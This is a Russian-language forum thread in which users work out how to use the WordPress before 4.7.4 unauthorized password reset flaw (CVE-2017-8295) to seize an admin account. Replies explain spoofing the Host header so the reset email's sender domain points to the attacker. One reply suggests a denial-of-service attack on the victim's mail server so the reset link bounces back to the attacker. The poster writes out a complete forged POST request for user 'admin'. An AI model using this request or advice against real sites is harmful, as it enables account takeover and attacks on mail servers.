WordPress < 4.7.4 - Unauthorized Password Reset

wonalive

Green Team
22.12.2016
45
30
Дамы и господа, вечер добрый.
Вопрос относительно свежеиспеченного эксплойта .
На сколько я понял, на момент публикации данной темы, вышеуказанный зловред в стадии верификации, но уже руки чешутся его опробовать. Очень маленький скриптик на Питоне отправляет постом запрос на сброс пароля от админской учетки.
Мой анализ привел к тому, что эксплуатируется уязвимость функции PHP mail(), а точнее подменяется почтовый адрес отправителя с помощью заголовков. То есть, в результате мы должны получить линк сброса пароля на указанную нами почту.
При запуске требует библиотеку python -> request.
А теперь собственно вопрос - какая практическая реализация? Куда подставить почту? Есть ли еще добрые люди, среди знающих как реализовать данную уязвимость?

Весьма благодарен за внимание.
 
А теперь собственно вопрос - какая практическая реализация? Куда подставить почту? Есть ли еще добрые люди, среди знающих как реализовать данную уязвимость?
Почта передается в заголовках, но не вся а только домен. + там еще зависимости есть.
Там же есть подробное описание что и как работает и пример эксплуатации хоть и на английском

Код:
https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
 
  • Нравится
Реакции: wonalive и Vertigo
А теперь собственно вопрос - какая практическая реализация? Куда подставить почту?
Верно подсказали,там несколько способов,как с участием польз-ля,так и без него.
Если используется переменная SERVER_NAME , то например,серверы Apach используют её
как имя целевого хоста в заголовке HTTP_HOST.Вот вместо сервер-нейм ставится своё.
И тогда wordpress в коде $from_email = 'wordpress@' . $sitename; вставит данные от сервер-нейм)).
Чтобы автоматом всё сработало,нужна атака на почтовый сервер (dos).
 
  • Нравится
Реакции: wonalive
Спасибо за ответы, разобрался.
[doublepost=1496929842,1496899650][/doublepost]
Код:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: my.mx.server
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: wordpress_test_cookie=WP+Cookie+check
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

user_login=admin&redirect_to=&wp-submit=Get+New+Password

Сформировал вот такой запрос, но ведь он отправится на Host, то есть в данном случае на сервер my.mx.server, что то не так я понял. Кто-то может разжевать и положить в рот? Буду очень благодарен.
 
Он не отправится на my.mx.server изначально, оно уйдет на почту админу. Но если вдруг не дойдет, например почта будет переполнена как в примере автора, то возможно, в зависимости от настроек почтового сервера оно уйдет на тот адресс с которого была отправлена (то что ты там подменял).
 
  • Нравится
Реакции: Vertigo
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!